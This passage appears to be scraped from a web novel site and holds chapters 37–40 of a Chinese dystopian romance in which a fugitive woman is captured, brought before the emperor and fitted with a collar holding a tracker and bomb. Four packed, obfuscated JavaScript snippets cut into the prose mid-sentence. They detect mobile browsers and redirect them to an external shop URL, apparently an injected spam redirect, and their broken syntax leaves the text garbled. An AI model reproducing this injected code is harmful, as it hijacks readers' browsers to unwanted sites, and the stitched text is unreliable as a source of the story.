说白了,她对反抗军没什么兴趣,和殷肆来往不过是因为他人比较有趣罢了,她没有对殷肆透露过自己的情报,也懒得去了解殷肆是什么人,至少这种距离的来往让她感觉比较舒服。 不过,她现在不能留下小久一个人,他不像以前那么好控制,如果脱离了监视的范围,那槐翎今晚可就白费力气了。 思来想去,槐翎还是选择拒绝殷肆。 “在E区的生活还是挺有意思的,至少比在别的区好玩。”槐翎耸肩,她这句话一说出来,殷肆马上就明白过来她的用意——她要借小久的身份回A区,之后他们两个想再见面就困难了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422540|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 以殷肆的权限,他不得不止步于B区。 想到这里,殷肆的心口一紧,他握紧拳头,看向小久的眼神竟然多了几分憎恨。 在大家的注意力全都在槐翎身上时,不知道什么时候小久就解开了槐翎的束缚,他揉了揉发红的手腕,又用手指拭去嘴角渗出的血液,趁着槐翎和殷肆对话时,小久从口袋里摸出一针药剂。 男经理的感觉颇为敏锐,他看到了小久要做什么,立马惊叫指着小久,但小久的速度更快,他来到槐翎身后倏地把药剂插入槐翎的脖子,药剂极快地进入了她的血管,槐翎刚刚确实是感觉到了身后的动作,还未等她回头看清怎么回事就被击中,这会直接两眼一翻倒了下来。 小久伸手轻轻地接住要倒下的槐翎,接着动作流畅地把她抱起来,他斜睨殷肆两眼,用清冷的嗓音接了槐翎的话。 “她确实更适合留在A区。” “你!”殷肆终于明白自己对小久的不快从何而来,他那张华丽的脸瞬间变得扭曲,气冲冲地就想走到小久面前。 不过还没等到他出手,好几个穿着统一制服的卫兵从暗处走出,他们手上都拿着武器,不知道埋伏了有多久。俩经理吓得腿一软直接瘫了下来,殷肆见状那双腿也走不动了,他了解自己就算有再多的不满也只能忍着。 他清楚没办法直接和皇帝对抗,他要顾虑的东西太多,绝对不能和小久硬碰硬。 殷肆痛苦地看向沉睡着的槐翎,看着她那张完美无瑕的脸,如宝石一样的长发,他想要伸手去触摸,但站在那里的小久,甚至什么都不用做就能殷肆失去这么做的勇气。 他低下头,看着小久就这么简单地带走了槐翎,然而他无能为力,无法阻止。 * 直升机在E区的上方盘旋,直到得到了指令后,直升机才缓缓停了下来。 “是要直接回A区吗?”卫兵问道。 小队里的所有人都注意到了槐翎的存在,他们尽力地忍着不去过问,目光却不受控制地在槐翎身上飘来飘去。 “回A区,你们留在这里把竞技场的底细都挖出来,还有那个殷肆,恐怕是反抗军的骨干。”他把槐翎安顿好,替她扣上安全带,旁边的卫兵没忍住多看了一眼他的脸。 “您脸上的伤……” “无碍。”他侧过头去,表情不大自然。 卫兵也不敢多问,他和其他同伴将会留在E区继续执行任务,于是站在原地目送直升机离开。 小久沉默地坐在直升机内,躺在他面前的槐翎正毫无防备地睡着,她的脸和五年前相比一点变化都没有。 对于他来说,这五年实在太过痛苦,痛苦到他有些麻木。 “即将进入A区领空,请在五分钟内完成身份识别。”自动驾驶系统内传来提示音,小久这才反应过来自己盯着槐翎看太久了,久到他都忘记了时间的流逝。 他拿起手边的仪器,熟练地报出自己的身份。 “苍恃,隶属于皇帝护卫队。” “身份已识别,欢迎回来,少校。” 37. 第 37 章 槐翎在天刚刚亮的时候就已经有了醒来的迹象。 她浑身酸痛,虽然身下的床铺柔软至极,盖在身上的被子也是A区特有的制品,槐翎还是难免感到有些不适应。 再结合房间内的装潢,槐翎很快就明白自己已经身处A区了。 手脚没有束缚,身上也没有多余的机器,身上衣服还是原来的那一件,看来有人把她放在这里就走了。 槐翎环顾四周,确认没有别人之后,她大大咧咧地进入浴室仔细地清洗了自己的身体,经过检查,她身上也没有多少伤痕,因为睡眠充足,现在的她精神很好。 只可惜衣柜里空空如也,没有可以替换的干净衣服。 她整理了一番仪容后,才第一次触碰到房间的把手,出乎意料的是门没有锁。 槐翎就这么简单地离开这个关着她的房间,她现在似乎是来到了一个并无什么生活气息的公寓,家具、装饰、装潢都是全新的,太阳刚刚升起,几缕阳光从窗外投射进来。 她来到窗边,这栋公寓似乎是刚建成的,从地段来看没有槐翎之前购置的公寓要好,但更加靠近宫殿。 从这个高度来看A区没什么变化,槐翎看过这样的景色无数次,她很快就确定了自己的所在地,接下来要考虑的那就是要离开这里了。 在那之前,她还想看看是谁把她安置在这里的。 槐翎把目光所及的所有柜子都打开了,基本都是空的,厨房里的冰箱也是空的,碗柜里的杯子洗得很干净没有水渍,洗手间的香薰是新开的,没有消耗的痕迹。 只剩下两个房间没有看过,一个是开着门的书房,另一个是关着门的主卧。 槐翎确认了一下身上还有武器,这才小心翼翼地推开主卧的门,里面除了一些基本的家具之外,也基本是空的。 衣柜里有几套衣服,从尺寸来看是男性,待到槐翎拉开底下的抽屉时,她马上就确定了这个公寓的主人是谁。 叠得整整齐齐,并且会按照色系变化来摆放的,按照槐翎的人际网来看,恐怕只有那个人了。 她面无表情地关上抽屉,又在主卧里逛了一圈,没找到什么有价值的东西,洗手间里有用过剃须刀的痕迹,其余都干净得没有活人的气息。 主卧调查完后,槐翎最终把目光放在书房里的电脑上。 她根本就不担心被人发现会怎么样,于是自然放松地坐在了电脑前,在电脑要求输入密码时,槐翎按照自己的记忆输入了密码。 那个傻子不管用什么东西都是一个密码,就算槐翎没有去调查都能记得是什么。 这么多年都没想过要换密码…槐翎觉得这应该是她这辈子做过最简单的题目,她马上就点开了电脑桌面的邮件,开始仔细查看邮件的往来。 五年前的第一封邮件是他主动发给祝译的,似乎是刚刚开始学会发邮件,格式还有些错误。 后面一连几日都是和祝译的邮件,对话没什么营养,唯一的收获是祝译发来的判决书,里面宣判了他无罪。槐翎迅速过了一遍,律师的辩护词很全面,而且有了祝译的帮助,法院的老东西倒是公正了一次。 后来祝译有约他出门见面,见面的频率很高,基本是每周会有三次,而且每次都赴约了。 这样的见面持续了有半年,渐渐频率降低了,每周三次变成了每周两次,每周一次,再到后面就是一个月一次了。 直到祝译发了一封邮件过来,他们的关系才有了明显的变化。 “我很高兴你决定取回自己的姓名,上次交谈你提到的决定是认真的吗?你知道自己将要面对什么吗?明明你告诉过我,是要重新开启自己的人生的。现在选择了逃避的你,是不是也食言了呢?” “能告诉我原因吗?只要是我能做到的,我都会尽可能帮助你。” “我看到通告了,你是确定要去了是吗,就算你知道这次离开将会掠夺无数人的家园和生命,成为皇帝的利爪……” “是因为她?她已经死了,没有人可以控制你了。” 槐翎的眉毛上挑,这个“她”应该是在说自己吧? 后面祝译单方面发了很多邮件,他一次都没有回复,没有得到回复的祝译也没继续发了,毕竟邮件这种东西,所有人都期望能收到回信。 除了祝译之外,也没有其他人给他发邮件了,连购物网站的订阅都没有。槐翎不过用了半个小时就看完了有内容的邮件,剩下的就是购买公寓、家具和一些生活缴费的自动邮件了,这公寓确实是刚建成没多久,家具也是才送来不过半个月。 关掉邮件后,槐翎又在电脑里肆意地翻了起来,没有照片,也没有别的软件,备忘录里都是空白的,浏览记录也很平常,槐翎甚至特意寻找了删除浏览记录的数据,也没找到什么。 调查完毕后,槐翎把碰过电脑的痕迹一一消除,又回到主卧里拿了一套干净的衣服,趁着还没有人回来,她把脏衣服扔进洗衣机进行清洗。 看着旋转的衣服,槐翎久违地感到有些迷茫。 其实她回到A区也算是将计就计,离开A区太久,能获得的内部资讯有限,要想知道更多,只有回来这里才是最有效的,然而直接去找皇帝显然是在送死,回到自己的公寓也容易暴露行踪,在这里虽然没有被关起来,但对她一点帮忙也没有。 她愣着看了一会洗衣机,直到肚子空空,发出了一声肠鸣。 想到空空如也的冰箱,槐翎只好拿杯子接了杯水缓解了下饥饿感……总而言之,她不能饿死在这里。 槐翎回头去把电脑打开了,迅速打开了几个订购食物的网站,菜单上的每一个想吃的都按了一遍,再用电脑里存储的信用卡信息完成了付款。 半个小时后,和食物一起到家的是黑着脸的小久。 * 他抱着手臂和槐翎保持了三米距离,看着她坐在椅子上大快朵颐,身上还穿着他的衣服,显然没有一点顾及到小久的心情。 他是看到银行短信才回来的,因为金额有些惊人。 不用怎么想都知道槐翎干的,所以为了安全起见,他还是赶回来了。 “早上好。”槐翎悠闲地喝着咖啡,她神色自若,好像这个家她才是主人。 小久跟她隔得老远才坐下来,脸色不太好。 “你穿了我的衣服。” “是啊,我的衣服还在洗。”槐翎放下咖啡杯,“你为什么没先给我准备好换洗的衣服?” “你……”小久实在是被她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434280|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的厚脸皮惊到,一句话都说不出来。 “倒是你把我放在这里是想做什么?复刻我做过的事情?”槐翎的笑容实在是刺眼,她越是说得云淡风轻,语气里的讽刺味更浓。 “我用不着你替我顶罪。”小久依旧是保持警惕的姿势,他这张嘴倒是有了几分槐翎的真传。 他脸上的伤做过了简单的处理,嘴巴上留了两个透着淡红色的伤口,衣服还是原来的衣服,看来是一夜未归,眼下有淡淡的乌青。 “真记仇,你这不是被判无罪了吗?”槐翎啃了一口可颂,发出了“咔嚓”的声音,碎屑掉了一桌子。 “那你道歉都没有一句吗?” 槐翎看着他的脸,瞥见他脸上的伤和满脸的不爽,决定暂且服个软,没什么诚意地说了句对不起。 因为实在没诚意,听起来反倒像是在挑衅他。 小久静静地看着她吃可颂,决定无视槐翎的挑衅。 洗衣机这会正好洗完了衣服,滴滴响着,槐翎拍了拍手上的碎屑,利落地走到洗衣机前,扯出衣服就要往烘干机里塞。 “等等……”小久实在是忍不了槐翎在自己的公寓里乱碰,他伸手去抓还是湿漉漉的衣服,习惯性地从旁边拿出一个洗衣袋,“贴身衣物要放袋子里面,这样才不会洗坏,烘干的时候也是。” 说完后,他像是想起了什么,低头看了眼旁边的槐翎。 然后他立马松了手,又后退了数步,装作看风景一样朝窗外看去,好像槐翎是什么病毒。 槐翎翻了个白眼,当着他面把衣物放进洗衣袋,又启动了烘干机,等到烘干机传来低沉的运作声后,槐翎才注意到他不太自然的表情。 “怎么,你第一次见?第一次摸?”她没忍住又多说两句,不等他回嘴,槐翎就转过身去继续喝咖啡了。 “接下来该说正事了。”她清了清喉咙,换上了平日里的面孔。 “说吧,把我关这里是什么目的。” 阳光照在小久的身上,他似乎正在思考这个问题的答案,在长久的沉默之后,他说出了槐翎最害怕的话语。 “陛下要见你。” 槐翎无法控制地颤抖了起来,她用力地抓着手边的杯子,因为过于紧张,她整个人都紧绷了起来,原本平静的心在此刻疯狂地跳动起来,全身的血液都像要被抽干。 小久盯着槐翎的脸,不明白她为什么会有这样的反应,是心虚,还是害怕? 他没有多想,说出来的每一句话却冰冷又直白。 “等你准备好,我就会带你过去。” 槐翎咬紧牙关用尽全身力量去阻止自己的身体颤抖,这五年来她都尽量让自己不要去思考这件事,但显而易见的是,槐迩早就知道她没死,甚至能够精确地知道她在哪里,不然小久不可能这么轻易就找到她,而她还傻乎乎的自己送上门——她早该知道的,槐迩不会简单地放她走,槐迩什么都知道,这五年的自由算是他大度。 槐翎渐渐冷静下来,她平复了一下心情,既然无法阻挡,那她只能去直面,是要夺去她的性命,还是侮辱她,槐翎都能…不,她不能,她做不到。 只要想到槐迩的脸,他的身体,他的味道,都足够让槐翎感到铺天盖地的恐惧。 38. 第 38 章 出乎意料的是,小久并未催促槐翎。 看样子他还有别的事情要忙,槐翎这个俘虏优先级反而没那么高。 确认槐翎状态良好之后,小久把银行卡拿出来放在桌上,语气平和,倒有了几分纵容,“不是要买衣服吗?” 他这个动作自然又流畅,槐翎觉得这个人是真飞黄腾达了,还敢在她面前班门弄斧。 如果不是她的主要资产被冻结,槐翎手头上的钱都够买下这栋楼,还能余一些让她在钞票海里游泳。 槐翎心里的恐惧悄无声息地消散了,她毫不客气地收下银行卡,又饶有兴致地看向小久,她故意凑得很近,近得能闻到小久身上的淡淡火药味,他定是开过枪了。 “那你陪我去?”她笑得肆意,全无刚才的脆弱。 “我还有工作处理。”小久和她分开了些距离,他这话倒不是借口,当下有更重要的事情去做。 “真是忠心。”槐翎讨了个无趣,她转身坐在沙发上,悠然自得地打开电视看了起来,“那你处理完了叫我。” 小久不明白槐翎为什么非要陪她去买衣服,她本就可以网购,让人送上来就是了,让他陪着也不会让买衣服的过程变得有趣,更何况他这个工作处理起来可能就是要好几天。 “随便你。”他走进主卧,几分钟后传来淅淅沥沥的水声,槐翎竖起耳朵听了一会,确认他是在洗澡。 从他对工作的重视程度来看,那应该是一件非常重要的事情,而且比起槐翎还要重要,槐翎很快有了一个猜测,会去到E区,只会是和反抗军有关。 殷肆帮过她不少忙,无论如何,槐翎都不可能就这么让皇帝顺遂。 她脱下鞋子,赤脚踩在温暖的地板上,谨慎又小心地打开了主卧的门,浴室门是关着的,里面的水声还在。 浴室门旁放着脏衣篓,槐翎没有片刻犹豫,她伸手就往裤子的口袋摸去,里面有一个卡包,但需要指纹才能打开,槐翎从卡包的厚度来看,估计也是身份卡和一些银行卡,不太可能会和他在做的任务有关。 她又掏了一下,没找到什么有价值的。 这个人干净得跟个幽灵似的,除了电脑和钱包,还有一个东西能够藏有秘密,那便是——移动设备。 不管是什么人,都必须要有移动设备进行沟通,既然要沟通就会留下痕迹,只要能获取到一些情报,都能尽可能地阻止他们的任务。 槐翎抬头看了眼紧闭的浴室门,水声还没有停,要行动只有趁这个时候了。 她深吸一口气,心里做好了要战斗的准备,她可以锁喉,让小久有片刻的晕厥,只要两个人都是赤手空拳的话,她还是有胜算的。 槐翎开了条门缝,水蒸气让浴室朦朦胧胧的,她瞄了一眼淋浴间的小久,很好,他正在闭眼洗头,泡沫糊了一脸,槐翎迅速地移开了目光,她的目标——一个小小的移动设备正放在毛巾旁边,上面还间断地发出红光,提醒有未读信息。 她猫着腰,伸手就要去够那设备。 与此同时,水声停了。 浴室变得异常地安静,槐翎抬头看去,只见小久正抱着手臂站在旁边,他身上只披了条毛巾,水珠正顺着身体流下去。 他面无表情地看着槐翎,手臂上暴起的青筋暴露了他的愤怒。 槐翎咬咬牙,以闪电般的速度把手边的毛巾往小久的脸上砸去,另一只手迅速地抓住了设备,她一个转身就想溜出去,然而她头一次掉了链子——没有穿鞋子。 在湿漉漉的浴室里,她一脚踩到了积水,然后不可控地往后倒去。 这一次小久没有去扶她,他就这么抱着手臂,在旁边看着槐翎倒下去,她的头磕到地板上,发出了极为响亮的一声。 她被摔了个正正好,只觉得视线都变得模糊,在看到袖手旁观的小久时,她气得浑身都疼了起来。 “你这个浴室怎么没做防滑!”她从牙缝里挤出最后的遗言。 “嗯,确实没考虑到会有人不穿鞋偷看我洗澡。”小久伸手把她紧紧抓着的设备拿走,他跟炫耀似的打开了设备,在旁边大大方方地看了起来。 槐翎强忍着身上的疼痛爬了起来,她从未这么狼狈过,就算是从行刑队里逃出来的那一天,她都未曾感到这么屈辱。 她涨红了脸,看到小久看完了所有的未读信息,设备在手里打了个转,最后他背过身去走出浴室,留下槐翎一个人在里面。 他什么话都没说,但槐翎是确确实实读到了他眼里的嘲讽! 槐翎后知后觉自己有些鲁莽了,她甚至觉得,自己要是直接找他要,说不定他还真给自己看,何必要这样偷偷摸摸的。 她捂着后脑跟了上去,小久已经换好了衣服,此时正看着自己的抽屉一言不发。 “槐翎,你到底有没有羞耻心?”他抬眼咬牙切齿质问。 “你全身上下我哪里没看过?”槐翎还不知道他指什么事,下意识就反驳了回去,又看到他指着那个抽屉,顿时恍然大悟。 没等她说什么,小久就已经生气地摔门走了。 * 站在车旁的杜山频频查看时间,他的脚边是一堆烟屁股,又反复看向公寓大门。 直到看到有一个人大步流星地边走边穿外套,杜山才伸了个懒腰钻进车里。 “阿恃,不是说只要半个小时吗?”他看着头发还是湿的小久,见他脸色不好,杜山还是没继续问下去。 “今晚我能去你那边睡吗?”小久皱着眉问。 “怎么,你家里有鬼?”杜山设置好自动驾驶,注意力都放在处理未读消息上,还未认真思考小久的问题。 小久想起来槐翎那张脸,她的所作所为还真的和鬼没什么不同。 “差不多。”小久按了下自己的眼角,他已经连续工作多日,现在只想好好休息一下。 “很遗憾,我也很久没回家了,只想享受一下自己的时间。”杜山的手指快速地在设备上回复消息,他依旧连头都没抬一下。 小久也知道是自己的要求太奇怪了,他觉得倒不如申请一下在宫殿守夜算了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445417|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' E区那边有进展了,他们的老巢已经被找到,接下来只要找到些实质的证据,就能把那群蚂蚁连根拔起了。”杜山说道。 “殷肆的底找到了吗?”小久想起来设备上的情报,这个人非常敏锐,迅速地卷走了重要的材料离开E区,现在还没能找到踪迹。 “他在B区的房产已经查封了,演唱会也停止了,现在粉丝闹得厉害……说来也是出乎意料,一个红遍半边天的歌手,竟然会和反抗军有联系。” 他没有忘记殷肆看向槐翎的眼神,那眼神可一点都不清白,很有可能就是他帮助了流浪的槐翎,但是根据槐翎的表现来看,他们好像也不是那么熟。 车辆很快到达了机场,等待他们的飞机已经就位。 卫兵朝着二人敬礼,“上校,少校,小队已集结完毕。” “明白了。”杜山收起笑容,他也回了个礼,带着身后的小久一同进入了飞机。 在飞机上坐着数十个全副武装的卫兵,他们齐刷刷地敬礼,等二人坐下来后,飞机逐渐加速,很快便离开了A区。 “你的脸怎么受伤了?”杜山冷不防地问。 小久拿着笔的手一顿,而后他利落地在文件上签署名字,脸上的表情未有改变,“一时大意。” “是和女人吵架了吧,怪不得不敢回去。”杜山看到他嘴上的伤口,一脸“我懂”的表情。 小久抬头刚想反驳,又发现杜山说得倒也没错,他点头表达了肯定,杜山呵呵地笑了起来。 杜山今年四十五,还是单身,长得不算好看,那双浅灰色的眼睛让人生畏,不笑的时候小孩子看到都会哭,说起来话直接又不留情面,直觉还敏锐地可怕,凭借着过人的工作水平,他的军衔是升得最快的。 带回槐翎的任务是皇帝单独交给小久的,他要求小久秘密地完成,不要让其他人知道,所以小久自然也向杜山这位前辈隐瞒了。 “有时间一起出来吃顿饭,我给你当和事佬。” “不用,她大概过两天就走了。”小久翻了一页报告,目光都未从文字上移开。 “啊?这就分开了啊?”杜山瞪大了眼睛,“你好像回来也就一个星期?” 杜山肯定是误会了点什么,小久深吸了口气,不知道该从何开始解释。 “喔,这就是年轻人流行的‘露水情缘’吧。”杜山又擅自想象了些不太可能的事,他自言自语了半天,从未考虑过坐在他面前的小久的心情。 “不是你想的那样。”他闷闷地反驳道。 二人的对话在安静的飞机里其实还挺明显的,其他卫兵都无声地听着他们的话,企图跟上这场八卦的对话,最后大家都提取出了一些关键词。 年轻有为的少校和女人吵架了,女人生气了想走,少校还是苦苦挽留——真是一段让人痛心的虐恋。 大家都了然于心,决定不在少校面前谈论任何和恋情相关的话题。 正百无聊赖躺在柔软沙发上的槐翎,没忍住狠狠地打了个喷嚏,她吸了吸鼻子,只感觉到身后一股恶寒。 39. 第 39 章 气温逐渐回暖。 公寓的大厅里放满了槐翎用小久银行卡买的东西,食物、衣物、甚至还有用来打发时间的桌游,充当装饰作用的音响。 他已经三天没回来了,也没交代自己的去向。 槐翎越是待在这里就越是感到不安,小久这一趟肯定是与反抗军有关的,她不希望殷肆被抓,也不希望反抗军就这么没了。 新闻上也没有相关的报道,她只能默默祈祷殷肆成功逃脱了,听说网络上出现大量对殷肆演唱会的投诉,但这些推文几乎是瞬间就被删除了,如今网络上一片其乐融融的模样,谁也不知道背地里发生了什么。 就在槐翎无聊到在地上打滚时,公寓大门冷不防地被打开了。 小久穿着和卫兵同款的制服,注意到躺在地上的槐翎和凌乱的大厅时,他感觉自己的眼皮狠狠地跳了一下。 “是时候了。”他这话说得跟要上刑场似的。 槐翎立马站了起来,用冷水洗了把脸,她知道自己是逃不掉的。 等她准备好的时候,小久已经站在公寓的大门前等待许久。 槐翎快速地观察了一遍,他的衣服是干净的,脸上的伤也好得差不多了,脸上连胡茬都没有,看样子精神状态还不错,很可能是在别的地方休息过,如果是要追击殷肆的话,应该状态会差一些。 那殷肆是成功逃脱了吗?槐翎不敢妄自下判断,也有可能是已经抓到了,所以小久有时间去休息。 小久没打算和槐翎说话,嘴巴闭得紧紧的,那双眼睛跟警犬似的一直在槐翎身上挂着,腰间挂满了制服槐翎的武器,虽然不致命,但依旧能让槐翎吃上些许苦头。 槐翎也不打算惹这个人,要说打的话之前已经打够了,她安静地跟在小久的身后,看着只承载两个人的电梯快速下降,电梯里的气氛实在说不上轻松。 待到车辆确实行驶在前往宫殿的路上时,槐翎终于有了些许实感。 不知不觉中,她的手心早就湿透,就算阳光照在她的身上,她依旧只能感觉到浑身寒意。 她对这条路很熟悉,再开十分钟就会进入宫殿的专门通道,那里会有身份检查,再往里开的话能看到宫殿外围的花园,那里会有卫兵看守,越过卫兵后…… 她不愿再回想,轻轻地合上眼睛,她绝对不能露怯,至少不能让槐迩看出来。 小久自然是注意到她的反常,车辆的速度略有加快,在经过身份检查时,车窗落下,几名带着武装的卫兵走上前来确认。 “少校。”他们毕恭毕敬地敬礼,待看到旁边的槐翎时,每个人都没忍住瞪大了眼睛。 “这位是……” 小久还没想好要怎么称呼槐翎,是犯人,还是客人? “正是在下。”槐翎的语气平淡,“现在可以让我进去了吧。” 卫兵连忙回过神来,他们看着小久,希望小久能说点什么。 “我要护送她进宫殿。”小久说道,既然他都这么说了,卫兵也没有拦下他们的必要,小久回了个礼,然后开着车离开了。 “少校?”槐翎嘲讽地重复了一遍,“小久呀,你这官升得真快。” 她特意把自己赋予给他的名字时隔五年再说念了出来,语气里满是恶意。 小久没有理会她的恶意,只用平常的语调阐述了一个事实,“我叫苍恃,不叫小久。” 通往宫殿的路上没有别的车,他们这辆车反倒是成了最显眼的。 槐翎的恶意根本没有影响到他,反而显得她格外地坏心眼。 尴尬又诡异的沉默让槐翎心里不太舒服,她伸手打开了电台,希望能有点音乐转移注意力,须臾,优美的钢琴声充斥了整个空间。 到了下一个关卡,卫兵检查了是否有违规的武器,但由于小久,不,苍恃的身份很轻松就过了检查,槐翎只需要坐在车内就可以了。 所有人都很惊讶于槐翎的出现,毕竟在他们的印象里,槐翎早就在五年前执行死刑死掉了,而不是如今完整地回到宫殿。 苍恃站在前面,想要引导槐翎前往大殿,槐翎抢先走在他的前面。 “我知道宫殿的路。”她恶狠狠地瞪了苍恃一眼。 等待了一阵子后,门口的卫兵招呼二人进去大殿。 槐迩坐在中央的王座上,他和五年前没什么变化,不过两鬓头发都有些发白,槐翎只匆匆看了一眼,就不可控制地想起爸爸的脸。 现在的爸爸也会和槐迩一样长白头发吧。 苍恃毕恭毕敬地半跪,向槐迩行礼。槐翎站在原地,面无表情地看着他这副忠犬的模样,嘴角溢出了一声冷笑。 “想见我是有什么事吗?堂叔。”槐翎没心情和他寒暄,于是直奔主题。 “这五年你应该吃了不少苦头吧。”槐迩的声音变得比以前苍老了些,他这话说出来倒还真像是一个关爱后辈的长辈。 “五年过得可真快,你看上去却没什么变化。”槐迩继续说了下去,槐翎一言不发,等待槐迩暴露他的真实意图。 “不如,你就留在宫殿里陪我吧?”他咧开嘴笑了,露出了洁白的牙齿,在虚伪的笑容下,是恶心至极的渴望——他是要名正言顺地把槐翎关在身边,彻底剥夺她的自由。 槐翎握紧拳头,她看了眼旁边的苍恃和卫兵,每个人身上都带有武装,能在槐迩身前携带武器的人都是经过特别训练的,恐怕她只要擅自做点什么的时候就会被马上射成筛子。 仅凭她一个人的力量,她还不能反抗槐迩! 槐翎再次感受到铺天盖地的恐惧快要将她淹没,她呼吸困难,脸色变得苍白,这就是权力的力量,唯有站在权力的顶点,才能获得彻底的自由,再也不被束缚。 她并未给予回应,槐迩早就料到她会有这样的反应,挥了挥手,从旁边走过来一个卫兵,他手上拿着一个托盘,包裹在红色绸缎里的镶嵌满钻石与宝石的项圈正熠熠生辉。 槐翎瞪大了眼睛,她下意识后退了几步,对托盘上的项圈只有厌恶与恐惧。 槐迩站了起来,他缓步来到槐翎的身边,见槐翎还想挣扎,几名卫兵走上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462753|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控制了她的手腕,槐翎甚至能感觉到腰上和背上的枪口,她毫不掩饰地暴露出自己的畏惧。 站在旁边的苍恃冷眼看着她,他知道那个项圈上面有什么。 定位器、小型炸弹。 像槐翎这样聪明的人定是马上就能反应过来了,所以她才会挣扎,但是这挣扎太过无力,饶是再强大的人也不可能以一敌百。 漂亮华丽的项圈被槐迩拿在手里,槐翎被迫露出了纤细的脖子,她咬牙切齿,全身紧绷,想要大声尖叫,想要马上离开这里,却无能为力。 脖子上传来冰冷的触感,寒意充斥槐翎的身体,她能听见项圈搭扣扣上的声音,能听见上面运作的零件发出嗡鸣,项圈的尺寸刚刚好,连一点缝隙都没留下,完全是为她量身定做的。 “很适合你。”槐迩伸出手指,轻轻地抚过槐翎的脖子,惊得她起了一身鸡皮疙瘩,她的汗毛直立,全身的皮肤都在诉说对槐迩的厌恶。 “你做得很好。”槐迩转头看向苍恃,“也只有这么了解翎翎的你,才能在这么短时间内完成任务。” 苍恃低下头来,他能感受到槐翎充满仇恨的目光。 这算出卖吗?不……是槐翎自投罗网。 他只是放出了有人从A区到E区的消息而已,槐翎就自动出现了。 “你想要什么?是金钱,是地位,还是女人?” “全凭陛下心意。”苍恃依旧低着头,他什么都不需要…… 槐迩轻声笑了,他回到自己的皇位上,槐翎此时正瘫坐在一旁,长发遮住了她的脸看不清表情,但槐迩还是从她的动作上品尝到了无与伦比的愉悦。 “三天后的宴会,你们都来参加吧,这么美丽的作品,我希望每个人都能欣赏到。” 槐翎的瞳孔一缩,她伸手抓住脖子上的珠宝,想要把它取下来却只感觉到牢牢扒在自己的皮肤上,根本没办法摆脱。 槐迩的意思是——是要A区的人都看到她这副模样吗? 这和把她的剥光了扔在人群里有什么不同? * 苍恃在看了一场闹剧后才离开的宫殿,对于这样的戏码,他确实没有想到。他也终于理解了槐翎对皇帝的恐惧,她所有的挣扎与任性,都在此时得到了答案。 而皇帝对槐翎的感情,虽然不是出于情-欲,但也绝对不纯粹。 他看不懂这样的发展,也没有心思去思考。 现在任务完成了,他再也不用面对槐翎。 苍恃回到公寓,没等他走进去,就能闻到空气中的一丝淡淡的香味,这味道很陌生,他没忍住皱起眉头,用左手捂住口鼻,另一只手则是拿出了武器。 公寓的灯被全部打开,一名穿着连衣裙的年轻女性正站在大厅的中央,四肢纤细,腰肢盈盈一握。她原本是在拆大厅里的包裹,看到苍恃后她转过身来,露出一张白净得像是没被世俗污染过的脸。 “好久不见,现在是不是该叫你少校了?” 她甜甜地笑着,本人和空气中若隐若现的香水味一样甜美诱人。 40. 第 40 章 苍恃盯着她看了好一会,才想起来自己曾经是见过这名女性的。 虽然只有一面之缘,但那个时候的场景他没有忘记,这个女性曾经追随过槐雾一段时间,仅凭槐雾的力量,他还没办法指使这个人进入苍恃的公寓。 如此想来只有一个可能性了,皇帝的恶趣味如今苍恃也是体会了一次。 也难怪会问他想要什么,恐怕在问出问题之前皇帝已经有了这个安排。 他缓缓收回武器,不过没有往里面走的意思,看着女性擅自打开包裹并且这一副自来熟的模样,他很难对她产生什么好感。 “对不起噢,我只是看到这里有些乱,所以一时没忍住擅作主张了……”她往前走了两步,脚步轻盈,看样子不像是有锻炼痕迹的,苍恃收起了对她的敌意,并迅速把她评估为无害。 她的脚边还放着好几个包裹,走过来的时候她小心翼翼地避开了包裹。 “你是怎么进来的?”苍恃侧过头去,避开了女性的接近,她的香水味若隐若现,不浓但是很霸道地占据了鼻腔,让人想躲都躲不开。 “就这么进来了呀。”她歪着头,露出了纤细的脖子,那是和槐翎完全不一样的肌肤,皮肤白皙,甚至能看到皮下的血管,脆弱得像是只要伸手一握就能折断。 